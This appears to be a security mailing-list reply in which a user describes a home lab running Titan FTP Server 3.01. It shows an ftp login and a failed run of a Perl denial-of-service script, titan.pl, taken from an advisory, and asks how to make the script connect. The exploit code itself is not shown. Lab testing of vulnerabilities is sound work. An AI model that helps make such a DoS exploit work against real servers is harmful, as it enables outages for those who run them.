Subject: Re: Titan FTP Server Aborted LIST DoS


Hi Aviram,

   I have some trouble with the testing of current exploit, the below
is my tested procedure:

1) In my test bed, the host side is winxp professional with ip_addr 192.168.0.2
   (english, 5.1 build 2600), and the client side is redhat linux 9 using 
NAT in
   Vmware Workstation 4.5.1 build-7568 with ip_addr 192.168.92.3.

2) I have successfully Titan Ftp Server v3.01 Build 163 installed on Winxp Pro
    platform. also the perl script u mentioned in ur article has successfully
    executed like as the below:

/* on my redhat box, i use ftp to verify if the titan ftp server is 
running, the
    result is the info as below: */

[gken@rh9 gken]$ ftp 192.168.0.2
Connected to 192.168.0.2 (192.168.0.2).
220 Titan FTP Server 3.01.163 Ready.
Name (192.168.0.2:gken): gken
331 User name okay, need password.
Password:
230-Welcome gken from 192.168.0.2. You are now logged in to the server.
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.

/* executing titan.pl script */
[gken@rh9 gken]$ perl titan.pl
Combination:
cannot connect to ftp daemon on 192.168.0.2 at titan.pl line 22.


    how to tackle this? thx in advance!
